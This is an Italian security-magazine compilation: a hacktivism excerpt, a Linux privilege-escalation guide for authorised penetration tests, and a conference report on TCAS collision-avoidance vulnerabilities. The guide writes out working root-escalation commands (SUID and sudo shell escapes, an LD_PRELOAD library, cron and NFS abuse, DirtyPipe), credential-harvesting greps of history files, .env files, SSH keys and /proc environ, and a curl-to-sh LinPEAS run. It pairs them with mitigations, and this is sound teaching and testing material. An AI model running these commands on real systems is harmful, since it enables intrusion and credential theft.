Come analizzato in dettaglio nell’approfondimento di ICT Security Magazine sulla cybercrisi italiana del 2025, non sono gli attacchi sofisticati a mettere in ginocchio l’Italia, ma quelli più “semplici” e rumorosi, che altrove vengono neutralizzati prima di fare notizia. È questa la vera anomalia: non la complessità delle minacce che affrontiamo, ma la facilità con cui minacce relativamente elementari trovano il modo di colpire.

La vera resilienza non si acquisisce con la tecnologia, ma si costruisce giorno dopo giorno con competenze, processi e cultura. La sicurezza cibernetica non è un prodotto che si acquista, ma un processo continuo di adattamento. Un processo che l’Italia, stando ai numeri, non ha ancora completato e che le sfide geopolitiche dei prossimi anni renderanno sempre più urgente.

https://www.ictsecuritymagazine.com/articoli/hacktivism-in-italia/

La fase di privilege escalation rappresenta uno dei principali fattori di rischio nei test di sicurezza moderni, spesso più determinante dell’accesso iniziale. È silenziosa, spesso automatizzabile, e si fonda quasi sempre su configurazioni errate che esistono di default in sistemi che non hanno mai ricevuto un hardening esplicito. Secondo il Rapporto Clusit 2025, l’Italia ha registrato 357 incidenti gravi nel 2024, con un incremento del 15,2% rispetto all’anno precedente, e il credential access rappresenta circa il 30% degli eventi rilevati, una base di partenza che rende la post-exploitation, inclusa la privilege escalation, un vettore critico in qualsiasi strategia di difesa.

Il problema che nessuno vuole vedere

C’è una fase del penetration test che molte organizzazioni continuano a sottovalutare. Non è l’accesso iniziale – ormai riconosciuto come critico anche dal management meno tecnico – ma ciò che accade dopo: la capacità di un attaccante di muoversi verticalmente all’interno di un sistema già compromesso, scalando da un account limitato fino ai privilegi di root.

La privilege escalation su Linux è esattamente questa fase. È silenziosa, spesso automatizzabile, e si fonda quasi sempre su configurazioni errate che esistono di default in sistemi che non hanno mai ricevuto un hardening esplicito.

Questo articolo analizza i vettori di escalation più ricorrenti nella pratica operativa del 2026, con riferimento alle tecniche documentate nei framework MITRE ATT&CK e PTES (Penetration Testing Execution Standard), e con i comandi effettivi utilizzati nei test autorizzati.

Contesto normativo: perché la privilege escalation è rilevante per la compliance

Prima di entrare nel merito tecnico, vale la pena inquadrare il tema in prospettiva normativa.

Il Digital Operational Resilience Act (DORA, Reg. UE 2022/2554), pienamente applicabile dal gennaio 2025 per le entità finanziarie europee, introduce l’obbligo di Threat-Led Penetration Testing (TLPT) basato sul framework TIBER-EU. Questi test richiedono la simulazione realistica di attacchi avanzati – incluse le tecniche di escalation dei privilegi – su sistemi in produzione.

Analogamente, la Direttiva NIS2 (recepita in Italia con il D.Lgs. 138/2024) richiede che le entità essenziali e importanti adottino misure “adeguate e proporzionate” ai rischi specifici identificati, ai sensi dell’Art. 21. La privilege escalation, in questo contesto, non è più una questione puramente tecnica: è un requisito di compliance.

La fase che precede tutto: l’enumerazione sistematica

Un errore frequente, anche tra penetration tester con esperienza, è saltare o comprimere la fase di enumerazione per arrivare più velocemente all’escalation. Il risultato è quasi sempre lo stesso: si perde tempo su vettori che non esistono, mentre quello reale è lì, evidente, in attesa di essere trovato metodicamente.

L’enumerazione di un sistema Linux post-compromissione segue un ordine preciso:

# Identità e contesto dell'utente corrente

id && whoami && groups

# Sistema operativo, versione kernel, architettura

uname -a && cat /etc/os-release && cat /proc/version

# Processi in esecuzione come root

ps aux | grep -v "^\[" | awk '{if($1=="root") print $0}'

# Servizi di rete in ascolto

ss -tulnp

# Scheduled tasks

cat /etc/crontab

ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/

crontab -l 2>/dev/null

# Binari con SUID impostato

find / -perm -4000 -user root -type f 2>/dev/null

# File scrivibili da utenti non privilegiati

find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys

Strumenti come unix-privesc-check automatizzano questa raccolta e producono un output strutturato che evidenzia le anomalie più significative. Tuttavia, l’automazione non sostituisce la comprensione: un enumeratore automatico può segnalare centinaia di potenziali problemi, ma solo la lettura critica distingue un falso positivo da un vettore reale.

Vettore 1: abuso di binari SUID

Il bit SUID (Set User ID) è un meccanismo del filesystem Unix che permette a un eseguibile di girare con i privilegi del suo proprietario, indipendentemente dall’utente che lo lancia. Quando un binario è di proprietà di root e ha il SUID impostato, chiunque lo esegua acquisisce temporaneamente i privilegi di root per la durata dell’esecuzione.

find / -perm -4000 -user root -type f 2>/dev/null

Il database GTFOBins (gtfobins.github.io) documenta ogni binario Linux noto che può essere sfruttato per l’escalation quando ha SUID impostato. Alcuni esempi pratici:

# find con SUID impostato

/usr/bin/find . -exec /bin/sh -p \; -quit

# python3 con SUID

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# vim con SUID impostato — caso SUID puro (non sudo)

./vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# Nota: il classico ':!/bin/bash' funziona via sudo ma non preserva l'EUID nel caso SUID puro

# bash con SUID — accesso root immediato

bash -p

Questo vettore è classificato nel framework MITRE ATT&CK come T1548.001 (Abuse Elevation Control Mechanism: Setuid and Setgid). La sua rilevazione richiede audit periodici dei permessi dei binari, idealmente integrati in pipeline di configuration management.

Vettore 2: configurazioni errate di sudo

Il comando sudo è probabilmente la fonte più ricca di vettori di privilege escalation nei sistemi Linux aziendali.

sudo -l

Le misconfigurazioni più frequenti includono:

NOPASSWD su binari che consentono escape di shell

Configurazioni come:

(ALL) NOPASSWD: /usr/bin/vim

(ALL) NOPASSWD: /usr/bin/less

(ALL) NOPASSWD: /usr/bin/python3

Qualsiasi di questi binari, quando eseguito con sudo, permette di lanciare una shell come root:

sudo vim -c ':!/bin/bash'

sudo less /etc/hosts   # poi digita !bash

sudo python3 -c 'import os; os.system("/bin/bash")'

Preservazione di LD_PRELOAD

Quando /etc/sudoers contiene env_keep+=LD_PRELOAD, è possibile iniettare una libreria condivisa appositamente costruita:

// privesc.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void _init() {

unsetenv("LD_PRELOAD");

setresuid(0, 0, 0);  // copre RUID, EUID e SUID

system("/bin/bash -p");

}

gcc -fPIC -shared -nostartfiles -o /tmp/privesc.so privesc.c

sudo LD_PRELOAD=/tmp/privesc.so <qualsiasi_binario_consentito>

Wildcard nei percorsi

Regole come (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py sono aggirabili:

echo 'import os; os.system("/bin/bash")' > /opt/scripts/exploit.py

sudo /usr/bin/python3 /opt/scripts/exploit.py

Vettore 3: cron job scrivibili

I task pianificati eseguiti come root che referenziano script scrivibili da utenti non privilegiati rappresentano un vettore silenzioso e affidabile.

cat /etc/crontab

ls -la /etc/cron.d/

cat /var/spool/cron/crontabs/root 2>/dev/null

Se un cron job di root esegue /opt/backup.sh e quel file è scrivibile:

ls -la /opt/backup.sh

# -rwxrwxrwx 1 root root

echo 'chmod +s /bin/bash' >> /opt/backup.sh

# Dopo l'esecuzione del cron:

bash -p

# root

Vettore 4: credenziali nei file di configurazione

Nei test su ambienti di produzione reali, questo è statisticamente il vettore con il tasso di successo più elevato.

# Cronologia dei comandi

cat ~/.bash_history

cat /root/.bash_history 2>/dev/null

# File di configurazione applicativi

grep -r "password\|passwd\|secret\|token\|api_key" /var/www/ 2>/dev/null

find /var/www -name ".env" -exec cat {} \; 2>/dev/null

# Chiavi SSH private

find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null

# Variabili d'ambiente dei processi

cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i
"pass\|secret\|key\|token"

Le credenziali trovate nelle applicazioni web sono spesso riutilizzate dall’amministratore di sistema anche per l’account root. Per le tecniche di sfruttamento delle chiavi SSH trovate durante questa fase esistono guide tecniche dedicate che coprono i workflow operativi completi, incluse le metodologie di SSH key hunting documentate da HackIta.

Vettore 5: NFS con no_root_squash

Le condivisioni NFS configurate con no_root_squash in /etc/exports permettono a un utente root su un sistema remoto di operare come root sui file della condivisione montata.

cat /etc/exports

# Esempio vulnerabile:

# /data *(rw,no_root_squash,sync)

# Dal sistema dell'attaccante (come root):

mount -t nfs <target_ip>:/data /tmp/nfsmount

cp /bin/bash /tmp/nfsmount/rootbash

chmod +s /tmp/nfsmount/rootbash

# Sul sistema target:

/data/rootbash -p

# uid=0(root)

Vettore 6: exploit del kernel, ultima risorsa

uname -r

searchsploit linux kernel <versione>

DirtyPipe (CVE-2022-0847), colpisce i kernel dalla 5.8 fino alle versioni immediatamente precedenti alle release in cui la patch è stata distribuita: 5.16.11, 5.15.25 e 5.10.102. I kernel della serie 5.10 e 5.15 antecedenti a queste release sono quindi vulnerabili, non solo quelli della serie 5.16:

gcc -o dirtypipe dirtypipe.c

./dirtypipe /etc/passwd

Queste tecniche devono essere utilizzate esclusivamente in contesti autorizzati e controllati, mai in ambienti di produzione senza esplicita autorizzazione documentata.

Automazione: LinPEAS per assessment ad alta velocità

# Esecuzione diretta

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee /tmp/linpeas_output.txt

I risultati in rosso/giallo indicano alta probabilità di escalation e richiedono analisi manuale approfondita.

Prioritizzazione dei vettori di privilege escalation

Vettore	Affidabilità	Rumore	Impatto sistema	Priorità
Credenziali nei file	Alta	Nessuno	Nessuno	1
sudo misconfiguration	Molto alta	Basso	Minimo	2
SUID binary abuse	Alta	Basso	Minimo	3
Cron job scrivibili	Alta	Nessuno	Minimo	4
NFS no_root_squash	Media	Basso	Minimo	5
Kernel exploit	Variabile	Alto	Potenzialmente alto	6

Mitigazioni: cosa implementare concretamente

Audit periodico dei permessi SUID/SGID, identificare e rimuovere il bit SUID da tutti i binari che non lo richiedono esplicitamente. Integrare questa verifica in pipeline CI/CD o tool di configuration management come Ansible o Puppet.

Review delle policy sudo: applicare il principio del minimo privilegio. Evitare NOPASSWD su binari che permettono escape di shell. Considerare l’uso di Cmnd_Alias per limitare precisamente le operazioni consentite.

Protezione delle credenziali: adottare strumenti di secret management (HashiCorp Vault, AWS Secrets Manager) per eliminare le credenziali in chiaro dai file di configurazione. Implementare la rotazione automatica delle credenziali di servizio.

Configurazione sicura di NFS: rimuovere no_root_squash da tutte le esportazioni. Limitare le esportazioni agli IP strettamente necessari tramite host list esplicite.

Patch management sistematico: mantenere i kernel aggiornati con policy di patching proporzionate al rischio e documentate nelle policy interne, come richiesto dall’approccio “adeguato e proporzionato” dell’Art. 21 NIS2. Per le vulnerabilità critiche con exploit pubblico disponibile, la finestra temporale dovrebbe essere la più breve possibile.

Monitoring delle attività di escalation: implementare regole SIEM per rilevare pattern anomali: esecuzione di comandi come root da utenti non privilegiati, accessi inusuali a /etc/passwd o /etc/shadow, montaggio di share NFS da host non autorizzati.

Conclusione

La privilege escalation su Linux non è un problema di exploit sofisticati o vulnerabilità zero-day. È un problema di configurazione, e le configurazioni errate che la rendono possibile esistono, in forme diverse, nella grande maggioranza dei sistemi Linux mai sottoposti a hardening esplicito.

Nel contesto normativo europeo del 2026 – con DORA operativo per le entità finanziarie e NIS2 che estende i requisiti di testing a un perimetro molto più ampio di organizzazioni – la comprensione di questi vettori non può più essere limitata ai team di offensive security. È una conoscenza che deve permeare i team di IT operations, i security architect e i responsabili della compliance.

La vera domanda non è se questi vettori esistano, ma chi li individuerà per primo.

Fonti

A cura del team di HackIta (https://hackita.it), risorsa italiana di ethical hacking, penetration testing e sicurezza delle reti.

https://www.ictsecuritymagazine.com/articoli/privilege-escalation/

Alla 14ª edizione della Cyber Crime Conference, ospitata a Roma il 6 e 7 maggio 2026 nell’Auditorium della Tecnica, il Prof. Alessio Merlo, Direttore del Centro Alti Studi per la Difesa (CASD, Scuola Superiore Universitaria), ha presentato i risultati di una ricerca condotta dal CASD insieme all’Università di Genova sulle vulnerabilità del Traffic Collision Avoidance System (TCAS), il sistema anticollisione obbligatorio sugli aerei di linea.

L’intervento, intitolato «Breaking TCAS: vulnerabilità e attacchi nella sicurezza aerea», si è mosso su due piani: da un lato l’illustrazione di due distinte vulnerabilità del protocollo TCAS, dall’altro la formulazione di un’ipotesi tecnicamente motivata per spiegare l’incidente avvenuto il 1° marzo 2025 lungo la traiettoria di avvicinamento all’Aeroporto Ronald Reagan di Washington (DCA).

Il contesto: ATC, radar secondario e TCAS

Il controllo del traffico aereo poggia sulla torre di controllo (Air Traffic Control, ATC), che gestisce gli atterraggi tramite il radar primario. Quando un aereo si trova lontano dall’aeroporto, entra in gioco un secondo livello di sorveglianza: il radar secondario, basato sullo scambio di segnali radio in radiofrequenza fra aeromobili. Misurando il tempo di risposta in funzione della velocità della luce, ogni velivolo stima la distanza e la posizione degli altri aerei nelle vicinanze.

Al di sopra del radar secondario opera il TCAS, introdotto circa quarant’anni fa e considerato l’ultima barriera per la prevenzione delle collisioni. Funziona in modo autonomo e genera due tipologie di allerta:

• Traffic Advisory (TA): avviso visivo al pilota della presenza di un altro aereo, con l’indicazione della posizione e dell’altitudine.
• Resolution Advisory (RA): manovra evasiva automatica e coordinata fra due velivoli in rotta di collisione (uno sale, l’altro scende).

Come ha sottolineato Merlo, il protocollo TCAS è stato progettato in un’epoca in cui la cybersecurity non era una priorità di design: non prevede autenticazione, né controllo di integrità, né cifratura.

Iniettare aerei falsi: la prima vulnerabilità

Nel 2023 il gruppo di ricerca del CASD e dell’Università di Genova ha cominciato a studiare la possibilità di iniettare contatti aerei falsi sul radar di un velivolo bersaglio, fino a indurlo a generare TA e RA reali.

L’unica protezione fisica del protocollo era il ritardo fisso di 128 microsecondi previsto dalla modalità Modo S: per far comparire un aeromobile a una distanza più prossima all’aereo sotto attacco rispetto alla posizione reale dell’attaccante, quest’ultimo avrebbe dovuto rispondere a un’interrogazione in tempi più brevi di tale ritardo, anticipando di fatto la risposta legittima. Storicamente, questa barriera temporale aveva reso l’attacco irrealizzabile con hardware comune.

I ricercatori hanno dimostrato che l’evoluzione dell’hardware Software Defined Radio (SDR) ha riscritto lo scenario: oggi l’attacco è realizzabile con apparati dal costo di circa 10.000 euro e funziona fino a 5 chilometri di distanza dall’aereo bersaglio, una portata particolarmente critica nelle fasi di atterraggio.

Disabilitare le RA: l’exploit del Sensitivity Level

La seconda vulnerabilità individuata riguarda il Sensitivity Level (SL), il parametro che regola la soglia di attivazione delle Resolution Advisory. Lo standard prevede che il valore di SL possa essere modificato dalle stazioni di terra in scenari operativi complessi, come gli avvicinamenti in aree congestionate.

Un attaccante può falsificare il comando di terra e impostare SL=0, disabilitando completamente la generazione di RA: il TCAS continua a emettere TA, ma non produce più la manovra evasiva automatica. Il ripristino richiede il riavvio del sistema, un’operazione tutt’altro che banale in volo.

La timeline della responsible disclosure

La scoperta delle vulnerabilità ha innescato un articolato iter di responsible disclosure, che ha coinvolto le United Nations (UN), l’European Union Aviation Safety Agency (EASA), la Federal Aviation Administration (FAA), l’Ente Nazionale per l’Aviazione Civile (ENAC), l’Agenzia per la Cybersicurezza Nazionale (ACN) e il Comando per le Operazioni in Rete (COR).

Le tappe principali:

• Giugno 2023: scoperta delle vulnerabilità.
• Febbraio 2024: sottomissione dell’articolo scientifico.
• Maggio 2024: accettazione del paper.
• Agosto 2024: presentazione a USENIX Security 2024 (Longo, Strohmeier, Russo, Merlo, Lenders, «On a Collision Course: Unveiling Wireless Attacks to the Aircraft Traffic Collision Avoidance System»).
• Gennaio 2025: pubblicazione dell’ICS Advisory CISA, con assegnazione di due CVE.
• Aprile 2025: comunicato stampa e diffusione mediatica, con oltre 60 apparizioni su testate nazionali, regionali e locali.

L’advisory CISA e la valutazione del rischio

Il bollettino ICS della CISA, pubblicato a gennaio 2025, ha ufficializzato le due vulnerabilità:

• CVE-2024-11166 (Sensitivity Level): mitigabile aggiornando gli apparati alla versione ACAS X o il transponder allo standard RTCA DO-181F.
• CVE-2024-9310 (protocollo TCAS): nessuna mitigazione disponibile.

Il documento accompagnava la pubblicazione con una valutazione del rischio improntata alla prudenza: «These vulnerabilities in the TCAS II standard are exploitable in a lab environment. However, they require very specific conditions to be met and are unlikely to be exploited outside of a lab setting». La storia, come si vedrà, ha messo in discussione questa rassicurazione nel giro di poche settimane.

1° marzo 2025: l’incidente di Washington DCA

Il 1° marzo 2025, in una mattinata di buona visibilità, lungo la traiettoria di avvicinamento alla pista 19 dell’Aeroporto Ronald Reagan di Washington sono state registrate numerose segnalazioni di TCAS TA e RA. Gli eventi si sono susseguiti per circa tre ore, dalle 11:10 alle 14:10 UTC.

A oggi la Federal Aviation Administration non ha fornito alcuna spiegazione ufficiale. Le uniche risposte istituzionali sono arrivate da due deputati USA, Rick Larsen e Bennie G. Thompson, Ranking Members delle Commissioni Trasporti e Sicurezza Interna: in una lettera al Congresso del 14 aprile 2025, i due hanno attribuito il «disturbo» a sistemi anti-drone (C-UAS) del Secret Service. L’ipotesi presenta tuttavia un’incongruenza tecnica evidente: i droni non sono dotati di TCAS, e un sistema anti-drone non dovrebbe pertanto interferire con il protocollo TCAS degli aerei di linea.

L’analisi da fonti aperte

Incrociando annunci di posizione, annunci RA e comunicazioni radio reperibili in fonti aperte, il team di Merlo ha ricostruito gli elementi quantitativi dell’evento:

• 10 aerei coinvolti, di cui 8 con RA e 3 con go-around (atterraggio abortito).
• 5 km di visibilità orizzontale.
• Singolo intruso a quota fissa di circa 700 metri, non rilevato né dall’ATC né visivamente dai piloti.
• Trasmissione in Modo C (tecnologia legacy rispetto al Modo S), che riporta solo la quota e non la posizione.
• Distanza media indicata dagli annunci RA: circa 400 metri.
• Direzione: tra 315° e 345°, corrispondente a «ore 11» rispetto ai velivoli coinvolti.

L’analisi geometrica delle distanze restituisce un esito controintuitivo: ogni aereo sembra avere il proprio intruso che si muove insieme a esso. Un oggetto in volo con tali caratteristiche sarebbe stato impossibile da non rilevare, sia strumentalmente sia visivamente. L’ipotesi più plausibile resta quindi quella di un trasmettitore fisso a terra che inietta contatti falsi tramite il Modo C.

Replicare l’attacco sul Modo C

Per verificare la fattibilità tecnica dell’ipotesi, i ricercatori hanno replicato l’attacco di iniezione sul Modo C, dove il ritardo fisso di riferimento scende a soli 3 microsecondi, contro i 128 del Modo S. Il modello SDR da 10.000 euro a quel punto non è più sufficiente: serve un’implementazione su RFSoC (FPGA, front end RF e CPU ARM/Linux), con un costo dell’ordine di 80.000-90.000 euro.

L’attacco è stato validato fino a una distanza massima di circa 2 chilometri e certificato con il test set avionico Aeroflex IFR6000, utilizzato in ambito industriale per la verifica dei TCAS reali.

Geolocalizzare il trasmettitore: il metodo Sequential Monte Carlo

Dimostrata la fattibilità tecnica, restava da capire se i dati pubblici dell’incidente DCA fossero compatibili con un trasmettitore fisso a terra e, in tal caso, dove fosse collocato.

I ricercatori hanno sviluppato un metodo probabilistico basato su Sequential Monte Carlo per stimare la posizione di un trasmettitore fisso a partire dalle osservazioni registrate. Il metodo è stato validato preventivamente su 300.000 scenari sintetici comparabili o superiori al caso DCA, con i seguenti risultati:

• Identificazione corretta della sorgente fissa nel 95% dei casi.
• Errore medio di circa 855 metri.
• Tempo di esecuzione medio di circa 8 secondi.
• Comportamento differenziale: se il trasmettitore è mobile, la distribuzione di probabilità non converge.

Il risultato sul caso DCA

Applicato ai dati reali dell’incidente del 1° marzo 2025, il metodo ha prodotto una distribuzione di probabilità stabile e coerente con l’ipotesi di una sorgente fissa a terra:

• Stima della sorgente a circa 890 metri dal centro dell’area ristretta P-56B.
• Probabilità del 94% che il trasmettitore si trovi all’interno dell’area ristretta.
• In 40 minuti, dopo due incontri, l’algoritmo avrebbe ristretto la sorgente a un’area di circa 4 km².

L’area P-56B coincide con lo U.S. Naval Observatory, residenza ufficiale del Vicepresidente degli Stati Uniti. Il risultato è pubblicato in Longo, Ratto, Merlo, Russo, «Unknown Target: Uncovering and Detecting Novel In-Flight Attacks to Collision Avoidance (TCAS)», nei proceedings del Network and Distributed System Security (NDSS) Symposium 2026.

Su questo punto Merlo è stato esplicito: «il rilevamento non equivale all’attestazione». I numeri pubblici indicano la compatibilità tecnica di un’origine fissa in una zona precisa, ma non costituiscono, di per sé, un’attribuzione formale dell’identità degli attaccanti.

Takeaway

L’intervento si è chiuso con alcune considerazioni di carattere sistemico sulla sicurezza dei sistemi cyber-fisici:

• L’isolamento dei sistemi critici, pur necessario, non è sufficiente a preservarli dagli attacchi cyber, soprattutto quando l’hardware d’attacco diventa accessibile a budget contenuti.
• La debolezza intrinseca di molti sistemi avionici e industriali deriva da norme e standard storicamente progettati senza integrare la cybersecurity.
• I cyber range e l’approccio multidisciplinare alla ricerca sono ormai imprescindibili per il cybersecurity testing di sistemi cyber-fisici, in cui la sperimentazione su asset reali è eticamente e operativamente impraticabile.
• Le implicazioni geopolitiche della detection vanno affrontate con cautela metodologica.
• Esiste un nodo irrisolto fra security e safety: a differenza di un attacco a un server, un attacco a un aereo in volo introduce un rischio diretto per le vite umane.
• I sistemi cyber-fisici poggiano su protocolli legacy: la protezione fisica non basta più, rendere «smart» un sistema spesso lo rende meno sicuro, e riprogettare tutto da zero non è un’opzione realistica.

Al di là del suo valore tecnico, il caso TCAS è un richiamo alla necessità di integrare la cybersecurity nei processi di standardizzazione internazionale, di investire in cyber range avionici e di formare giovani ricercatori capaci di operare alla frontiera fra security, safety e implicazioni geopolitiche. Come ha ricordato Merlo, la distanza fra un attacco a un server e un attacco a un aereo in volo non si misura più in termini di disponibilità di un servizio, ma in vite umane. Una soglia che impone a ricerca, industria e regolatori di muoversi insieme, e in fretta.

https://www.ictsecuritymagazine.com/articoli/breaking-tcas-sicurezza-aerea/